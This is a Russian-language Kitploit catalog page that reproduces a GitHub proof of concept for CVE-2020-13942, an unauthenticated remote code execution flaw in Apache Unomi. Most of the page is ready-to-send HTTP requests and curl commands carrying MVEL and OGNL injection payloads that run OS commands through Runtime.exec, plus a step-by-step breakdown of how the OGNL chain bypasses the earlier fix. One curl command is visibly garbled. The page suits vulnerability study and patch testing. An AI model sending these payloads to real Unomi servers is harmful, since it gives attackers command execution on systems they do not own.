Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-13942 — CVE-2020-13942 неаутентифицированный RCE POC через инъекции MVEL и OGNL | Kitploit
Инструменты/GitHubGitHub/eugenebmx/cve-2020-13942
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubeugenebmx/cve-2020-13942

CVE-2020-13942

CVE-2020-13942 неаутентифицированный RCE POC через инъекции MVEL и OGNL

Репозиторий
28915 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-13942

CVE-2020-13942 POC от Eugene Rojavski

Оригинальная запись в блоге об уязвимости: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/

Существует два вектора RCE: через инъекцию MVEL и через инъекцию OGNL. Оба вектора нацелены на разный код, хотя полезные нагрузки (payloads) выглядят относительно похожими. Предыдущее исправление CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 пыталось ограничить выполнение выражений OGNL, но полностью упустило MVEL. CVE-2020-13942 обходит исправление, сделанное в версии 1.5.1.

Отправьте следующие HTTP-запросы с помощью BurpSuite или curl на context.js\json, предоставленный сервером Unomi, и получите RCE. Измените Host и Content-length в соответствии с вашим целевым URL и командой ОС. Оба POC могут получить в ответе HTTP/1.1 400 Header Folding, что означает, что \r\n испорчены в полезной нагрузке, попробуйте скопировать-вставить его еще раз.

1) MVEL POC

HTTP-запрос

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

Curl

root@kitploit:~
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

2) OGNL POC

OGNL POC обходит ограничение ClassLoader, введенное в версии 1.5.1. Используя API рефлексии Java, можно создать объект, не вызывая метод ClassLoader.loadClass, который ограничивает вычисляемые выражения OGNL.

Разбор полезной нагрузки OGNL выражения:

  1. Первое выражение #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") создает объект Class java.lang.Runtime, где #this — это ссылка на объект контекста.
  2. Второе выражение #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] получает список методов класса Runtime через рефлексию и выбирает из списка метод getRuntime. Часть выражения {^ #this.name.equals(\"getRuntime\")} ищет метод с именем getRuntime и возвращает список методов, соответствующих условию; первый и единственный метод этого списка — getRuntime.
  3. Третье выражение #runtimeobject = #runtimemethod.invoke(null,null) вызывает метод getRuntime() и получает объект Runtime.
  4. Четвертое выражение (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) получает методы класса Runtime и извлекает Runtime.exec() с одним аргументом String из списка методов.
  5. Последнее выражение #execmethod.invoke(#runtimeobject,\"gnome-calculator\") вызывает Runtime.exec() с указанным аргументом.

HTTP-запрос

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
} 

Curl

root@kitploit:~
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'

Отказ от ответственности

Вся информация, представленная на этой странице, предназначена только для образовательных целей. Информация на этом сайте должна использоваться только для повышения безопасности ваших компьютерных систем, а не для проведения вредоносных или разрушительных атак.

Вы не должны использовать эту информацию для получения несанкционированного доступа к компьютерным системам. Также имейте в виду, что попытки взлома компьютеров, которые вам не принадлежат, без письменного разрешения владельцев, являются незаконными.

Я не несу ответственности за любой прямой или косвенный ущерб, причиненный в результате использования информации, представленной на этом сайте.

Скачать инструмент